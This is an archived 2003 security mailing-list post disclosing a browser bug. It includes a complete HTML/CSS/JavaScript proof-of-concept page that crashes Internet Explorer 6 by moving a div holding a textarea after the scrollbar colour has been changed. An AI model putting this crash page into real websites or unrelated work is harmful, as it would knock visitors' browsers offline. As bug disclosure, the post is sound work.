OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
IE6 CSS-Crash

From: Andreas Boeckler (abonetlands.de)
Date: Wed Oct 22 2003 - 07:44:47 CDT


Hi,
the following HTML/JS/CSS-Code crashes IE6 immediately through a
combination of:
1. textarea in table in div
2. css:overflow-y:hidden
3. changing the scrollbar-base-color
4. moving the div

I think IE tries to move the native OS-scrollbar-widget, which is not in
place.

If point 3 is removed, the page works fine.

---snip---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow-y: hidden;
      scrollbar-base-color: '#330066';
      }
      
      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }

    </style>
    <script type="text/javascript">
function galgenfrist() {
      window.setTimeout('crashIE();',1000);
    }

function crashIE() {
    var moveNode = document.getElementById("move");
    if(moveNode) {
        moveNode.style.top = "100px";
        moveNode.style.left = "200px";
    }
}
    </script>
  </head>
  <body onload="galgenfrist();">
    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
      <table>
        <tbody>
          <tr>
            <td>
              <textarea></textarea>
            </td>
          </tr>
        </tbody>
      </table>
    </div>
  </body>
</html>
---snap---

--
Andreas Boeckler <abonetlands.de>
netlands edv consulting GmbH

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQA/lnu9q01ptdSpY7oRAuC8AJ9q+tAAopKLeBMwuAHAhdrRfuY32QCgr2Vk
11nhaQSFnVoomFQDS67ot0s=
=w1Od
-----END PGP SIGNATURE-----